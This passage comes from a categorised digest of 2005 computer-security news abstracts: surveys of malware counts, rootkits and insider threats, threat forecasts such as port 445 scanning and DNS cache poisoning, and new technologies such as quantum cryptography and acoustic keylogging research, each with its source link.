A group of academic and industry researchers will work together on an initiative to create a methodology that organizations can use to study the return on investment (ROI) of technology projects. Governments are increasingly asked to demonstrate the value of taxpayer dollars invested in IT projects. Led by the Center for Technology in Government (CTG) at the State University of New York at Albany and SAP, the effort will include researchers from Harvard University's John F. Kennedy School of Government, Accenture, Gartner Research, Cisco Systems, and North American and European government agencies. Anthony Cresswell, deputy director of CTG, said that calculating ROI for IT projects "has been a complex and difficult problem." He said the new effort will "produce results that will make a major contribution to the ability of governments of all types to enhance the political, social, and economic value they obtain from IT investments." Federal Computer Week, 6 December 2005

Category 31.1 Surveys, studies, audits of security
2005-12-06 **study report computer security threats 2005 increase worms viruses Trojan horses**

DHS IAIP Daily; <http://www.techweb.com/wire/security/174901293>

SECURITY THREATS INCREASE IN 2005

The number of new worms, viruses, and Trojan horses jumped 48 percent in 2005, a security company said Tuesday, December 6, as it detailed the year's security woes. United Kingdom-based Sophos detected nearly 16,000 new threats from January to November, 2005, a major bump from the 10,724 during the same period in 2004. Every month in 2005 posted larger-than-last-year numbers, but November, which was marked by the debut of a strong Sober.z worm, outpaced all others. By Sophos' records, 1,940 new viruses, worms, Trojans, and spyware threats were spotted last month, its largest-ever monthly increase. If that pace were to continue, the next 12 months would see 23,000 threats. Topping Sophos' top-10 chart was the long-running Zafi.d, a mass-mailed worm that made itself known almost a year ago: It accounted for 16.7 percent of all threats detected during the first 11 months of 2005. Netsky.p took second place, with 15.7 percent, while the new Sober.z came in at third, with six percent. "Given more time, Sober.z would have dominated the chart, but its emergence in late November prevented it from taking pole position," said Graham Cluley, senior technology consultant at Sophos.

Category 31.1 Surveys, studies, audits of security

2005-12-08 **study malicious software malware rootkits Sony BMG XCP**

DHS IAIP Daily; <http://www.vnunet.com/vnunet/news/2147301/rootkits-storm-mal ware-chart>

ROOTKITS STORM MALWARE CHART

The most common rootkit is a spyware application known as Apropos, according to data collected by security experts at F-Secure. Apropos collects system information and data on a user's browsing habits and sends the information back to the application's creators. It is also capable of recording keystrokes and launching a denial of service attack, and can download and install additional software on an infected computer. Rootkits have become a mainstream phenomenon ever since Sony BMG was caught bundling one as part of the XCP anti-piracy technology on some of its audio CDs. Sony used a rootkit to hide the technology, preventing users from uninstalling the application. Hackers originally started using rootkits to build backdoors into computers, but the technology has caught a second wind in recent months as malware creators use rootkits to hide worms and spyware from antivirus and anti-spyware software. In F-Secure's ranking Apropos surpassed the Sony BMG rootkit in the number of infections.

Category 31.1 Surveys, studies, audits of security

2005-12-15 **study information security attacks geeks squatters saboteurs insider threat**

DHS IAIP Daily;
http://www.theregister.co.uk/2005/12/15/mcafee_internal_security_survey/

GEEKS, SQUATTERS AND SABOTEURS THREATEN CORPORATE SECURITY

Workers across Europe are continuing to place their own companies at risk from information security attacks. This "threat from within" is undermining the investments organizations make to defend against security threats, according to a study by security firm McAfee. The survey, conducted by ICM Research, produced evidence of both ignorance and negligence over the use of company IT resources. One in five workers let family and friends use company laptops and PCs to access the Internet. More than half connect their own devices or gadgets to their work PC and a quarter of these do so every day. Around 60 percent admit to storing personal content on their work PC. One in ten confessed to downloading content at work they shouldn't. Most errant workers put their firms at risk through either complacency or ignorance, but a small minority are believed to be actively seeking to damage the company from within. Five percent of those questioned say they have accessed areas of their IT system they shouldn't have while a very small number admitted to stealing information from company servers.

Category 31.1 Surveys, studies, audits of security

2005-12-28 **Criminals viruses security Windows outbreaks Symantec malicious wares inbox programs Sophos firms**

DHS IAIP Daily; <http://news.bbc.co.uk/2/hi/technology/4521844.stm>

CRIMINALS TARGET VIRUSES FOR CASH

At first glance, 2005 looks like it was a quiet year for computer security because there were far fewer serious Windows virus outbreaks than in 2004. According to figures gathered by security firm Symantec, there were 33 serious outbreaks in 2004. In 2005, there were only six such incidents. "We're talking about a substantial decrease in worldwide pandemics," said Kevin Hogan, senior manager in Symantec's security response team. This decline is taking place because virus makers have largely stopped spreading their malicious wares with mass-mailers that try to infect as many people as possible via their inbox. Instead, virus creators are cranking out more versions of malicious programs than ever before. Year-end statistics from Finnish anti-virus firm F-Secure show that there were 50 percent fewer virus outbreaks in 2005 but the number of malicious programs has grown by, on average, 40 percent for the last two years. Similarly Sophos reported that it found 1,940 new malicious programs in November 2005, the largest increase since records began. Security experts say this explosion in variants is partly driven by a desire to overwhelm anti-virus firms.

Category 31.1 Surveys, studies, audits of security
2005-12-30 **catalog data theft leakage security breaches catalog report summary resource**

Emergent Chaos; Privacy Rights Clearinghouse
CATALOGS OF SECURITY BREACHES

Those looking for summary information about loss of control over data for use in articles or lectures may find the following resources helpful:

* Adam Shostack has put together an extensive list of brief reports on security breaches on his Website. His entries have references but few URLs. By the end of 2005, the breaches catalog included over a hundred cases of data theft and data leakage for the year starting in March. See <http://www.emergentchaos.com/archives/cat_breaches.html>

* The Privacy Rights Clearinghouse has a list of bullet points summarizing hacking incidents, lost backup tapes, compromised passwords, insider attacks, and so on. The incidents start in February 2005 and include estimates of the numbers of victims. The entries have no URLs or citations. Their total of affected people is at least 52 million (!). See <<http://www.privacyrights.org/ar/ChronDataBreaches.htm>>

31.2 Estimates, guesses, predictions, forecasts concerning security

Category 31.2

Estimates, guesses, predictions, forecasts concerning security

2005-01-03

information technology IT spending fall 2005 poll security spending increase

DHS IAIP Daily; <http://www.internetnews.com/stats/article.php/3453831>\

POLL: IT SPENDING EXPECTED TO FALL

IT spending in 2005 is expected to fall somewhat according to a new poll from CIO magazine. However, there are certain sectors, including security and storage, that are reportedly expected to rise. The magazine conducted the poll during a one-week period in December that garnered 243 responses from a cross section of industries. Only 6.7 percent of poll respondents indicated that they expected IT spending to increase in 2005, which was a decline of 1.7 percent from the poll's November results (8.4 percent). IT security spending is on the upswing with 60.9 percent of poll respondents indicating that they were planning on increasing spending over the next 12 months. The expected growth in security spending represents a 7.7 percent increase over November expectations (53.2 percent). A number of different studies in 2004 painted a very vivid picture of enterprises' attitudes toward IT security spending. A September Ernst & Young report noted that only 17 percent said spending would increase significantly, and 52 percent thought it would increase only slightly. In July, research firm IDC reported that 59 percent of its survey base indicated that IT security spending would increase.

Category 31.2

Estimates, guesses, predictions, forecasts concerning security

2005-01-12

computer information physical security merge 2005 Forrester Research report

DHS IAIP Daily;

http://news.com.com/Computer%2C+physical+security+expected+to+merge/2100-7348_3-5534312.html

COMPUTER, PHYSICAL SECURITY EXPECTED TO MERGE

Companies will increasingly integrate physical and computer security systems in 2005, spending over \$1 billion in the United States and Europe, according to a report released this week from Forrester Research. Companies have generally treated physical security as part of the facilities department and computer security as part of the information-technology group. But employee information has increasingly become integrated, allowing businesses to link the two systems, Steve Hunt, an analyst with Forrester Research, said in the report. "Locks, cameras, entry systems, and even guard desks will be upgraded to work with the same computing systems that control computer and network sign-on, identity management and security incident management," he said in the report. Government projects to integrate physical and network security will make up the lion's share of the money being spent, Forrester predicted. Report: <http://www.forrester.com/Research/Document/Excerpt/0,7211,36137,00.html>

Category 31.2

Estimates, guesses, predictions, forecasts concerning security

2005-02-10

International Business Machines IBM security report mobile satellite car communications attack 2005 e-mail worm virus PDA

DHS IAIP Daily; <http://sys-con.com/story/?storyid=48190&DE=1>

IBM SECURITY REPORT PREDICTS MOBILE/SATELLITE ATTACKS IN 2005

According to IBM, results from its 2004 Global Business Security Index Report show mobile devices becoming targets of viruses and worms. IBM, looking at potential security threats in 2005, said this may be the year for the aggressive spread of viruses and worms to handheld devices, cell phones, wireless networks, and embedded computers, which include car and satellite communication systems. The report, written by IBM's Global Security Intelligence Services team, said e-mail-based worms and viruses wreaked havoc on corporate networks in 2004. E-mail worms such as Bagle, Netsky and Mydoom led the pack in the number of variants and overall impact. During the latter part of 2004, a growing number of viruses aimed at PDAs and other mobile devices, such as the Cabir worm, were released. Such worms will likely be used by copycats and may start an epidemic of viruses aimed at mobile devices.

Category 31.2 Estimates, guesses, predictions, forecasts concerning security
2005-03-02 **information technology IT executives survey cybersecurity highest priority 2005 IPIC conference**

DHS IAIP Daily; <http://www.govexec.com/dailyfed/0305/030205p1.htm>

IT EXECUTIVES SAY CYBERSECURITY IS TOP CONCERN

Leading federal information technology executives say that cybersecurity is their chief concern, according to an information technology vendor's survey. Forty-three percent of federal executives surveyed at a conference this week in Orlando, FL, said information technology security was their highest priority for 2005. More than two-thirds listed it is one of their top three concerns. The survey, released Wednesday, March 2, by CDW Government Inc., was conducted at the 2005 IPIC conference, and included 79 government technology executives attending the conference. The Federal IT Executive Survey results are similar to those in a recent survey by the Information Technology Association of America, which concluded that cybersecurity is the top priority of federal chief information officers. The IPIC conference is a forum for Government and Industry Information Technology (IT) executives to meet and share experiences of mutual interest. Survey:
<http://www.govexec.com/pdfs/IPIC.ppt>

Category 31.2 Estimates, guesses, predictions, forecasts concerning security
2005-03-09 **US high-tech companies Microsoft Cisco HP warn investment lose competitive advantage**

DHS IAIP Daily; http://www.washingtonpost.com/ac2/wp-dyn/A17721-2005Mar8?lan_gauge=printer

U.S. TECHNOLOGY LEADERS WARN OF LOSING COMPETITIVE ADVANTAGE.

Leaders of high-tech companies said Tuesday, March 8, the United States risks losing its competitive edge without significant new investments in education, research and development and the spread of broadband technology. TechNet, which represents about 200 high-tech leaders, including Microsoft, Intel Corp., Cisco Systems, and Hewlett Packard, made its annual lobbying trip to Capitol Hill on Tuesday. TechNet officials cited some troubling indications that the U.S. is falling behind in high-tech development: the percentage of U.S. households with broadband access lags behind other highly-developed countries; U.S. investment in research and development has stayed flat for the last three decades, while it has grown significantly in competitor countries; and students in the U.S. are behind their counterparts in other countries in math and science. Among other recommendations, the group called on Congress to increase basic research funding, make permanent a research and development tax credit, and promote cybersecurity initiatives.

Category 31.2 Estimates, guesses, predictions, forecasts concerning security
2005-03-15 **antivirus management stress survey**

<http://news.bbc.co.uk/1/hi/technology/4349065.stm>

ANTIVIRUS EFFORTS WORSE THAN DIVORCE

"Keeping computer viruses at bay is more stressful than divorce, warns a survey. The research revealed how European technology bosses were coping with the growing number of hi-tech threats...About 20% of those questioned said the stress of protecting their employer was worse than getting married, moving house or separating from a partner."

Category 31.2 Estimates, guesses, predictions, forecasts concerning security
2005-03-23 **study user blame encouraging spam bad e-mail behavior**

[EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4375601.stm](http://news.bbc.co.uk/2/hi/technology/4375601.stm)

STUDY BLAMES USERS FOR ENCOURAGING SPAM

A new report lays much of the blame for the ongoing problem of spam at the feet of computer users who open spam messages and even buy products or services advertised in spam. According to the survey, conducted by Mirapoint and the Radicati Group, nearly one-third of users have opened such messages, and one in ten has made a purchase. The report calls such actions "bad e-mail behavior" and said it encourages not just marketers but con artists to continue sending vast amounts of spam. Many adult-themed e-mail messages lure computer users into visiting Web sites that then install spyware or other malicious code. Graham Cluley, senior technology consultant for security firm Sophos, agreed that users bear much of the responsibility for spam's continued presence.
"If no one responded to junk e-mail and didn't buy products sold in this way," he said, "then spam would be as extinct as the dinosaurs." BBC, 23 March 2005

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*
2005-06-16 **us government report software future projection issues security risk management costs**

RISKS; <http://www.cnsoftware.org/nss2report/NSS2FinalReport04-29-05PDF.pdf> 23 91
SOFTWARE 2015 REPORT FROM CNSS

Jim Horning noted:

>There's a recent report by the Center for National Software Studies that does not seem to have been adequately publicized, and hence has not received the attention it deserves: "SOFTWARE 2015: A National Software Strategy to Ensure U.S. Security and Competitiveness"

Risks loom large in the discussion, including
* Risk of critical infrastructure failures
* Risk of sudden and severe economic loss
* Risk of loss of life and limb
* Risk of loss of public confidence
* Risk of loss of our technological edge and leadership

I've posted excerpts from the Executive Summary at both
<http://bayosphere.com/node/554>
and
<http://horning.blogspot.com/2005/06/software-2015.html>

<

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*
2005-06-21 **security study Gartner research malicious software impact mobile devices 2007**

DHS IAIP Daily; <http://www.informationweek.com/story/showArticle.jhtml?articleID=164901703>

MALICIOUS SOFTWARE NOT LIKELY TO HAVE LARGE IMPACT ON MOBILE DEVICES UNTIL 2007

Mobile phone and PDA users have more than two years to get ready for a quick-spreading worm, John Pescatore and John Girard, analysts at Gartner research. Client-side anti-virus software meant for cell phones and PDAs "certainly work", but vendors aren't selling them said Pescatore. In part that's because the threat of a fast-spreading malicious worm or virus has been overblown by security vendors. In fact, the conditions for a real threat-one that has the ability to infect more than 30 percent of mobile devices used in the enterprise-simply don't exist. The three factors that must exist before a Slammer- or MSBlast-style attack hits mobile devices, said Pescatore, are the large-scale adoption of smart phones, ubiquitous uses of wireless messaging to exchange executable files, and the convergence of operating systems to the point where one enjoys a majority share of the market. According to Pescatore and Girard, those three conditions won't co-exist until around the end of 2007. Furthermore, they believe that end-point security solutions for smart phones, cell phones, and PDAs are a waste of time because they often fail to block the most damaging viruses.

Category 31.2 *Estimates, guesses, predictions, forecasts concerning security*
2005-06-22 **port sniffing attack warning TCP 445 SMB protocol Windows XP SP2 Gartner research**

DHS IAIP Daily; <http://www.computerworld.com/securitytopics/security/holes/story/0,10801,102687,00.html>

INCREASED PORT 'SNIFFING' COULD HERALD ATTACK, RESEARCHER WARNS

An increase in "sniffing" activity on TCP Port 445 associated with a recently patched Microsoft vulnerability may be the signal of an impending attack attempting to exploit the flaw, according to an alert from analyst firm Gartner. The flaw in question is a remote code execution vulnerability associated with the Microsoft Windows Server Message Block (SMB) Protocol. Attackers who exploit this vulnerability could take complete control of affected systems. An increase in activity on TCP Port 445, which is associated with the SMB protocol, may be a signal that attackers are attempting to exploit the hole, Gartner analyst John Pescatore said in an alert posted Tuesday, June 21. Officials at Symantec also spotted increased activity on Port 445, but they downplayed any immediate threat. Alfred Huger, senior director of engineering at Symantec, said his company noted a "significant spike" in activity last Friday, June 17. Since then, activity levels have gone back to normal. "Activity targeting Port 445 is very common. It's almost like background noise," Huger said. Companies that have installed Microsoft's Windows XP SP2 should also be protected against the flaw because it closes off access to Port 445 by default, Huger said.

Category 31.2

Estimates, guesses, predictions, forecasts concerning security

2005-06-28

US-CERT warning scanning activity port 445 TCP Server Message Block SMB

DHS IAIP Daily; http://www.us-cert.gov/current/current_activity.html#smb

SCANNING ACTIVITY ON PORT 445/TCP

US-CERT has seen reports indicating an increase in scanning activity of port 445/tcp. This port is used by Server Message Block (SMB) to share files, printers, serial ports and communicate between computers in a Microsoft Windows environment. Scanning for port 445/tcp has been active for a number of years. In 2004, Microsoft released a bulletin (MS04-011) describing a vulnerability in the Local Security Authority Subsystem Service (LSASS). Since this time a number of exploits have been published that take advantage of this vulnerability. More recently, Microsoft published two security bulletins (MS05-011 and MS05-027) that describe vulnerabilities in the Server Message Block (SMB). The LSASS and SMB services utilize RPC for communications. Ports configured to support RPC (i.e., port 445/tcp) may be scanned to locate vulnerable hosts. Scanning for port 445/tcp could be a result of attempts to exploit any of the vulnerabilities referenced above or attempts to authenticate to Microsoft Windows systems through brute force password attacks. More recently, an exploit was released that attempts to take advantage of the vulnerability described in MS05-011. While reports of successful system compromises using this vulnerability have not been confirmed, US-CERT strongly recommends that users patch their systems as soon as possible.

Category 31.2

Estimates, guesses, predictions, forecasts concerning security

2005-08-03

warning SANS Internet servers attack risk DNS cache poisoning

DHS IAIP Daily; http://news.com.com/DNS+servers--an+Internet+Achilles+heel/2_100-7349_3-5816061.html?tag=nefd.lede

INTERNET SERVERS AT RISK OF ATTACK

In a scan of 2.5 million so-called Domain Name System machines, which act as the White Pages of the Internet, security researcher Dan Kaminsky found that about 230,000 are potentially vulnerable to a threat known as DNS cache poisoning. "That is almost 10 percent of the scanned DNS servers," Kaminsky said in a presentation last week at the Black Hat security event in Las Vegas, NV. The motivation for a potential attack is money, according to the SANS Internet Storm Center, which tracks network threats. Attackers typically get paid for each spyware or adware program they manage to get installed on a person's PC. Information lifted from victims, such as social security numbers and credit card data, can also be sold. Additionally, malicious software could be installed on a PC to hijack it and use it to relay spam. The DNS servers in question are run by companies and Internet service providers to translate text-based Internet addresses into numeric IP addresses. The cache on each machine is used as a local store of data for Web addresses.

Category 31.2

Estimates, guesses, predictions, forecasts concerning security

2005-11-29

cyber crime attack threat risk prediction security expert warning DHS Scott Borg

DHS IAIP Daily;

http://www.infoworld.com/article/05/11/29/HNmoreattacks_1.html

SECURITY EXPERT: MORE SOPHISTICATED ATTACKS LIKELY

The cyber attacks of recent years have been relatively unsophisticated and inexpensive compared to the potential of organized attacks, a cybersecurity expert said Tuesday, November 29. Organized attacks by teams of hackers that have members with expertise in business functions and processes -- as well as the rudimentary access and coding expertise that many current attackers have -- could have a huge impact on a nation's economy, said Scott Borg, director of the U.S. Cyber Consequences Unit, an agency supported by the U.S. Department of Homeland Security. "We will probably see terrorist groups, criminal organizations putting together combinations of talent," Borg said at the E-Gov Institute's Security Conference in Washington, DC. While past cyber attacks have done relatively small amounts of damage, coordinated attacks on important targets such as the U.S. electrical grid, the banking and finance industry, or the telecommunications and Internet industries could potentially cause many billions of dollars in damage, he said. Most viruses and worms knock out company networks for two or three days at most, but costs would multiply quickly for any coordinated attack on a critical U.S. industry that knocked out service for more than three days, said Borg, an economist.

Category 31.2 Estimates, guesses, predictions, forecasts concerning security
2005-11-29 **RSS Really Simple Syndication security threat risk prediction Trend Micro expert Microsoft Internet Explorer IE**

DHS IAIP Daily; <http://www.eweek.com/article2/0,1895,1894232,00.asp>

TREND MICRO: REALLY SIMPLE SYNDICATION IS WORM BOT'S NEXT TARGET

Security researchers at Trend Micro Inc. have pinpointed Really Simple Syndication (RSS) technology as a lucrative target for future bot worm attacks. David Sancho, senior anti-virus research engineer at Trend Micro, warned that RSS feed hijacking will become commonplace when Microsoft Corp. ships Internet Explorer 7 (IE7), a browser refresh that will feature built-in RSS support. In a white paper titled "The Future of Bot Worms," Sancho said the IE7 release "will open some interesting possibilities to worm creators." "The easy way of taking advantage of the popularity [of RSS] is to hijack the existing configured feed clients to automatically download new copies of worms and other threats to the infected computers. This is accomplished by pointing the already-configured client to different and malicious Web content," Sancho wrote. "The way this would work is checking if the system has any automatic feed download configured. If it does, it would just add or change an existing one to point to the malicious Website," he added. Sancho predicts that RSS feed hijacking attacks will serve as a passive download point that could easily bypass personal firewalls and other security barriers. David Sancho's white paper:
http://www.trendmicro.com.au/global/products/collaterals/white_papers/BotsWP.pdf

Category 31.2 Estimates, guesses, predictions, forecasts concerning security
2005-12-07 **FBI report terror groups lack denial-of-service Internet attack capability**

DHS IAIP Daily; <http://abcnews.go.com/Politics/wireStory?id=1383901>

FEDERAL BUREAU OF INVESTIGATION: TERROR GROUPS LACK ABILITY TO MOUNT CRIPPLING INTERNET-BASED ATTACKS

Al Qaeda and other terror groups are more sophisticated in their use of computers but still are unable to mount crippling Internet-based attacks against U.S. power grids, airports and other targets, the Federal Bureau of Investigation's (FBI) top cyber crime official said Wednesday, December 7. Investigators keep a close watch on terror groups' use of computers but have not detected any plans to launch cyber attacks against major public institutions in the United States, FBI assistant director Louis M. Reigel said. The government has conducted simulated terrorist attacks on computer, banking, and utility systems, and Reigel said his division of around 1,100 agents treats seriously the prospect of such a strike. FBI cyber experts have noticed progress in the technical mastery suspected terrorists have shown online, he said. Terrorists also have made only infrequent use of stenography, the practice of hiding a text message in another kind of file, typically a picture, Reigel said.

Category 31.2 Estimates, guesses, predictions, forecasts concerning security
2005-12-12 **Sober worm attack prediction January 2005 effect mitigation strip infections**

DHS IAIP Daily;
<http://news.zdnet.co.uk/internet/security/0,39020375,39241437,00.htm>

PREPARATION SYSTEMS ADMINISTRATORS CAN MITIGATE THE EFFECTS OF THE UPCOMING SOBER WORM ATTACK, SAY EXPERTS

Security administrators need not worry about the effects of the predicted Sober attack on January 5, as long as they take precautions and strip infections from their systems, security experts said on Friday, December 9. The impact of the upcoming attack can be mitigated by rooting out the problem at source, according to McAfee. Because a machine needs to be already infected with a variant of the virus for the update to take effect, machines can be prevented from downloading the updated virus by having the current version removed before January 5. "The effects can be mitigated by updating antivirus software, and scanning for normal versions of the variant," said Greg Day, security analyst at McAfee. McAfee said that administrators had a relatively large time frame in which to scan machines. However, McAfee warned that systems professionals should not underestimate the scale of the problem, and should be aware of the potential strain on their mail servers when the virus update is released.

Category 31.2 Estimates, guesses, predictions, forecasts concerning security
2005-12-14 **AT&T security chief opinion Internet carrier predict prevent cyber attacks**

DHS IAIP Daily; <http://www.techweb.com/article/showArticle.jhtml?articleId=175002779&pgno=1>

AT&T SECURITY CHIEF SAYS CARRIERS SHOULD PREDICT, PREVENT ATTACKS

A centralized military presence would be more effective in warning a neighborhood of incoming attacks than if each family sent grandpa up to their roof with field glasses. AT&T Chief Security Officer Ed Amoroso used that analogy to explain his company's strategy for fighting cyber attacks. "Every one of you is fighting the same cyber war," said Amoroso, a keynote speaker Wednesday, December 14, at Interop in New York City. Carriers have the power to detect problems by observing activity with a broad view. That, he said, puts them in a position to detect and prevent attacks of all kinds, rather than requiring each subscriber to individually erect firewalls and take redundant precautions against attacks. Though software creators need to improve their methods and reach for higher security standards, carriers must also take responsibility in providing much-needed improvements, he said. Amoroso said that evolving applications need to be better integrated and better protected, especially with broadband leaving computers more vulnerable.

Category 31.2 Estimates, guesses, predictions, forecasts concerning security
2005-12-21 **McAfee Avert Labs warning mobile cell phone user alert 2006 threat predictions**

DHS IAIP Daily;
<http://www.techworld.com/security/news/index.cfm?NewsID=5051&Page=1&pagePos=9&inkc=0>

SECURITY COMPANY WARNS MOBILE USERS TO BE ALERT IN 2006

Rising threat levels for mobile users should come as no surprise, but McAfee's Avert Labs division has marked 2006 down as a potential turning point in the spread of malware to these platforms. Keylogging Trojans, adware, bots and backdoor programs will all hit users with greater frequency in 2006, with smartphone and "converged" users witnessing damage much greater than that seen on PCs because few currently bother to protect themselves. "Consumers are less likely to install mobile security versus PC security because the perceived risk from mobile threats is much less," a company release said. According to McAfee, mobile malware has grown ten times more rapidly than PC threats over any period of one year, and that in general "potentially unwanted programs" (PUPs) have grown by 40 percent in 2005 alone. The problem appears to be the increasing usefulness of Smartphones and PDAs. Having spent years as technological curiosities, they are now being sold to perform a variety of useful but risky operations such as mobile banking.

Category 31.2 Estimates, guesses, predictions, forecasts concerning security
2005-12-28 **Instant messaging threats MessageLabs malicious target infect enterprises spam Trojan attacks report phishing emails**

DHS IAIP Daily; <http://www.scmagazine.com/uk/news/article/533780/firm-im-threats-increase-next-year/>

INSTANT MESSAGING THREATS TO INCREASE NEXT YEAR

MessageLabs warned that malicious users will increasingly target instant messaging (IM) in the next year, calling it a "widening backdoor" to infect enterprises with spam and trojan attacks. In a year-end report, the company said, "Spammers will diversify further into the IM ecosystems, as business adoption of IM increases and as the 'big three' IM protocols begin to standardize in 2006 and onwards." The report also noted a considerable increase in phishing emails sent this year, representing 13 percent of malicious emails intercepted during 2005, with a high of 27 percent in January. In total, more than 62.5 million phishing emails were intercepted by MessageLabs since Saturday, January 1, an increase of 238 percent from the 18 million caught the year before. The company also predicted more attacks on mobile devices: "Criminals will continue to attempt to gain access to users' mobile devices as the proliferation of wireless technologies like Wi-Fi spreads to airplanes, trains, and other public locations." Analysts found targeted attacks on specific industries became more common in 2005. Over all, MessageLabs reported one in every 36.15 emails sent this year contained a virus or Trojan. The report noted that cybercriminals chose more specific targets during 2005.

31.3 New technology with security implications

Category 31.3

New technology with security implications

2005-01-04

blogs Pew Internet and American Life Project RSS aggregators compile news sources told election

EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4145191.stm>

2004 A GREAT YEAR FOR BLOGS

According to a new survey by the Pew Internet and American Life Project, readership of blogs jumped significantly in 2004, as did the use of RSS aggregators. The survey indicated that blog readership rose 58 percent last year, with 32 million Americans now reading blogs. Eight million Americans have created a blog, according to the survey. RSS aggregators, which compile information from blogs and other online news sources based on user preferences, also saw significant increases, with six million Americans now using those tools. The increased use of such immediate tools as blogs and RSS in 2004 is attributed in part to close following of the U.S. presidential election. Those who have created blogs were found--on average--to be young, male, college-educated, and Web-savvy. Although many blog readers fall into similar demographic categories, much of the rise last year was among women and minorities. Despite the higher profile of blogs and increased use, more than 60 percent of those surveyed said they had not heard of blogs.

Category 31.3

New technology with security implications

2005-01-24

machine learning cognitive science artificial intelligence pattern recognition intrusion detection logic programming

DHS IAIP Daily; <http://www.newscientist.com/article.ns?id=dn6914>

MACHINE LEARNS GAMES "LIKE A HUMAN;" COULD POTENTIALLY DETECT INTRUDERS.

A computer that learns to play a 'scissors, paper, stone' by observing and mimicking human players could lead to machines that automatically learn how to spot an intruder or perform vital maintenance work, say UK researchers. CogVis, developed by scientists at the University of Leeds in Yorkshire, UK, teaches itself how to play the children's game by searching for patterns in video and audio of human players and then building its own "hypotheses" about the game's rules. In contrast to older artificial intelligence (AI) programs that mimic human behavior using hard-coded rules, CogVis takes a more human approach, learning through observation and mimicry. Chris Needham, a member of the CogVis team, says the system's visual processor analyzes the action by separating periods of movement and inactivity and then extracting features based on color and texture. Combining this with audio input, the system develops hypotheses about the game's rules using an approach known as inductive logic programming.

Category 31.3

New technology with security implications

2005-03-30

grid computing network security threats large scale deployment confidentiality

DHS IAIP Daily; <http://www.eweek.com/article2/0,1759,1780849,00.asp>

GRID COMPUTING CAN ALLOW SECURITY THREATS

Security experts on Wednesday, March 30, recommended that IT administrators clearly identify and understand the security risks associated with large-scale grid computing deployments. During Ziff Davis Media's Enterprise Solutions Virtual Tradeshow, the pros and cons of grid computing and safe data storage took center stage, with panelists stressing the importance of using best practices to protect the confidentiality of information passed over corporate grid systems. Lenny Mansell, senior security consultant at Triad Information Security Services LLC, warned that greater sharing of information and resources across traditional trust boundaries will result in increased risks that must be addressed as a matter of urgency. Mansell recommends that businesses deploying grid systems identify critical assets and the threats to those assets. Mark Teter, chief technical officer of Advanced Systems Group LLC, said the highly automated manner in which resources are allocated on a grid can be used by a malicious attacker to steal sensitive corporate data. Grid computing is the concept of using computers in the way that utilities use power grids to tap the unused capacity of a vast array of linked systems. Users can then share computing power, databases and services online.

Category 31.3 New technology with security implications
2005-06-07 **quantum computer cryptography security guarantee wireless link Massachusetts Harvard Boston University DARPA**

DHS IAIP Daily; <http://www.newscientist.com/article.ns?id=dn7484>

QUANTUM CRYPTOGRAPHY NETWORK GETS WIRELESS LINK

The world's first quantum encryption computer network has been expanded to include a wireless link that uses quantum communications codes. The wireless connection was added to the Defense Advanced Research Projects Agency (DARPA) Quantum Network, a quantum fiber-optic network buried beneath the ground in Massachusetts. The network was built by BBN Technologies with funding from DARPA. It now links ten different sites, including BBN's offices, Harvard University and Boston University. Most modern cryptography rests upon the difficulty of solving very complex mathematical problems used to encrypt data. This makes it theoretically vulnerable to being hacked using dramatic mathematical or computing breakthroughs. By contrast, quantum cryptography near guarantees communications security, using quirks of quantum physics to thwart eavesdropping attempts. Quantum cryptography guarantees security by encoding information as polarized photons which can be sent down a fiber optic cable or through the air. Intercepting these photons disturbs their quantum state, alerting both sides to an eavesdropper's presence.

Category 31.3 New technology with security implications
2005-08-01 **car computer systems MP3 Bluetooth protocol risk viruses**

DHS IAIP Daily;
<http://www.cnn.com/2005/TECH/08/01/viruses.cars.reut/index.html>

CAR COMPUTER SYSTEMS AT RISK TO VIRUSES

Car industry officials and analysts say hackers' growing interest in writing viruses for wireless devices puts auto computer systems at risk of infection. As carmakers adjust on-board computers to allow consumers to transfer information with MP3 players and mobile phones, they also make their vehicles vulnerable to mobile viruses that jump between devices via the Bluetooth technology that connects them. The worst that could happen is that the computer's control of engine performance and emissions, navigation and entertainment systems cease to function. That would probably mean an annoying trip to the repair shop or having to reboot the system. Companies so far have seen no reports of viruses in auto systems, and studies have shown it is not easy to transplant a virus into a car, but carmakers say they are taking the risk seriously. The first mobile phone virus, Cabir, has spread to over 20 countries, ranging from the United States to Japan and from Finland to South Africa, using only Bluetooth. Bluetooth is used in car electronics interfaces for monitoring and service. Carmakers say they use the most sophisticated protection for safety equipment such as airbags or motor controls, whereas infotainment systems so far have less stringent safeguards.

Category 31.3 New technology with security implications
2005-08-24 **study federal spending IT increase 2005 third quarters**

EDUPAGE; <http://www.few.com/article90331-08-24-05-Web>

FEDERAL SPENDING ON IT SURGES IN THIRD QUARTER

Market research firm Input reported a surge in U.S. federal spending on information technology in the fiscal third quarter, with the U.S. Navy as the main source of the spike. The Navy generated almost \$57 billion of the \$67 billion in government awards, a 190 percent increase over fiscal 2004 third quarter data. Federal Computer Week, 24 August 2005

Category 31.3 *New technology with security implications*
2005-09-14 **new technology password cracking keylogger keylogging**

EDUPAGE; http://news.zdnet.com/2100-1009_22-5865318.html

SOUND OF KEYBOARD CLICKS REVEALS WHAT IS TYPED

Researchers at the University of California at Berkeley have demonstrated that an audio recording of someone typing on a computer keyboard can reveal with surprising accuracy exactly what they have typed. Using commercially available recording equipment, the researchers captured audio of typing and analyzed the sounds using an algorithm they developed. Because keys make different sounds, the system is able to make educated guesses about what key was pressed in what order. The application then applies some linguistic logic, including spelling and grammar checks, to refine the results. After three rounds of revisions, the application was able to identify 96 percent of the individual characters typed and 88 percent of the words. The application was effective even with background noise, such as music or cell phones ringing. Doug Tygar, UC Berkeley professor of computer science and information management and a principal investigator of the study, said the project should raise concerns about the security risks of such a technology. "If we were able to figure this out," he said, "it's likely that people with less honorable intentions can--or have--as well." ZDNet, 14 September 2005

Category 31.3 *New technology with security implications*
2005-10-10 **nanotechnology research NSF funding ethical privacy questions security biomedicine**

EDUPAGE; <http://chronicle.com/daily/2005/10/2005101005n.htm>

NSF FUNDS NANOTECHNOLOGY RESEARCH

